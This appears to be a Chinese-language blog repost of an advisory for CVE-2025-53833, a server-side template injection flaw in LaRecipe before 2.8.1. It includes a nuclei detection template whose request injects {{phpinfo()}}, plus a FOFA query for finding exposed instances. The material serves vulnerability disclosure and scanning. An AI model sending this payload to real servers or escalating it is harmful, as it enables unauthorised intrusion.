LaRecipe 服务器端模板注入漏洞

漏洞信息

漏洞名称: LaRecipe 服务器端模板注入漏洞

漏洞编号:

  • CVE: CVE-2025-53833

漏洞类型: 服务器端模板注入

漏洞等级: 严重

漏洞描述: LaRecipe是一个允许用户在Laravel应用程序中使用Markdown创建文档的应用程序。2.8.1之前的版本存在服务器端模板注入(SSTI)漏洞,在易受攻击的配置中可能导致远程代码执行(RCE)。攻击者可以在服务器上执行任意命令,访问敏感的环境变量,和/或根据服务器配置提升访问权限。该漏洞的根源在于应用程序未能正确验证和处理用户提供的模板输入,导致攻击者能够注入恶意模板代码。这种漏洞的影响极为严重,因为它允许攻击者在无需任何身份验证的情况下远程执行代码,可能导致服务器被完全控制,敏感数据泄露,以及服务中断。由于LaRecipe是Laravel应用程序中广泛使用的文档生成工具,这一漏洞的影响范围可能相当广泛。

产品厂商: LaRecipe

产品名称: LaRecipe

影响版本: < 2.8.1

搜索语法: body=”/binarytorch/larecipe/“

来源: https://github.com/projectdiscovery/nuclei-templates/blob/f0f3a6f10330faba721542b0ba92a7384e8604f0/http%2Fcves%2F2025%2FCVE-2025-53833.yaml

类型: projectdiscovery/nuclei-templates:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

id: CVE-2025-53833

info:
name: LaRecipe < 2.8.1 Remote Code Execution via SSTI
author: iamnoooob,pdresearch
severity: critical
description: |
LaRecipe is an application that allows users to create documentation with Markdown inside a Laravel app. Versions prior to 2.8.1 are vulnerable to Server-Side Template Injection (SSTI), which could potentially lead to Remote Code Execution (RCE) in vulnerable configurations. Attackers could execute arbitrary commands on the server, access sensitive environment variables, and/or escalate access depending on server configuration.
remediation: Users are strongly advised to upgrade to version v2.8.1 or later to receive a patch.
reference:
- https://github.com/saleem-hadad/larecipe/security/advisories/GHSA-jv7x-xhv2-p5v2
- https://github.com/advisories/GHSA-jv7x-xhv2-p5v2
- https://nvd.nist.gov/vuln/detail/CVE-2025-53833
metadata:
verified: true
max-request: 1
fofa-query: body="/binarytorch/larecipe/"
tags: cve,cve2025,larecipe,rce,ssti,oss

http:
- raw:
- |
GET /docs/1.0/?{{phpinfo()}} HTTP/1.1
Host: {{Hostname}}

skip-variables-check: true

matchers-condition: and
matchers:
- type: word
part: body
words:
- "PHP Extension"
- "PHP Version"
- "larecipe"
condition: and

- type: status
status:
- 200



LaRecipe 服务器端模板注入漏洞
http://example.com/2025/07/15/github_1632705052/
作者
lianccc
发布于
2025年7月15日
许可协议